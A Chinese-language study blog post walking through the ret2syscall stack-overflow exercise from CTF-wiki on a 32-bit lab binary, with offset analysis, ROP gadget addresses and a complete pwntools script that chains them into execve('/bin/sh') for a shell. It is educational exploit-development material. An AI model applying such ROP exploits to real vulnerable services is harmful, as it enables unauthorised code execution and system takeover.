文章目录
- 写在前面
- ret2syscall
- 参考文章
写在前面
今天再冲一个就歇息了
ret2syscall
Ret2Syscall,即控制程序执行系统调用,进而获取shell
老规矩checksec
![在这里插入图片描述 [二进制安全学习]ret2syscall_linux](https://file.cfanz.cn/uploads/png/2022/10/31/2/XZd4G3afF7.png)
可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码,存在栈溢出
![在这里插入图片描述 [二进制安全学习]ret2syscall_栈溢出_02](https://file.cfanz.cn/uploads/png/2022/10/31/2/f78KC316OH.png)
分析偏移
![在这里插入图片描述 [二进制安全学习]ret2syscall_linux_03](https://file.cfanz.cn/uploads/png/2022/10/31/2/7J4L497464.png)
![在这里插入图片描述 [二进制安全学习]ret2syscall_linux_04](https://file.cfanz.cn/uploads/png/2022/10/31/2/d1080X502f.png)
可以推断
-
s 的地址为0xffffd16c -
s 相对于 ebp 的偏移为0x6c -
s 相对于返回地址的偏移为 0x6c+4 我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)其中,该程序是 32 位,所以我们需要使得
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
接下来寻找控制 eax 的 gadgets
这里选择第二个,再来看看ebx
这里直接一步到位了
此外,我们需要获得 /bin/sh 字符串对应的地址
![在这里插入图片描述 [二进制安全学习]ret2syscall_栈溢出_05](https://file.cfanz.cn/uploads/png/2022/10/31/2/6bY4bZK77A.png)
此外,还有 int 0x80 的地址
![在这里插入图片描述 [二进制安全学习]ret2syscall_linux_06](https://file.cfanz.cn/uploads/png/2022/10/31/2/5V2Z5fT3OB.png)
接下来就可以写利用脚本了
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
利用成功
![在这里插入图片描述 [二进制安全学习]ret2syscall_系统调用_07](https://file.cfanz.cn/uploads/png/2022/10/31/2/6fNV8cREHU.png)
参考文章
https://ctf-wiki.org/pwn/linux/stackoverflow/basic-rop/#ret2syscall










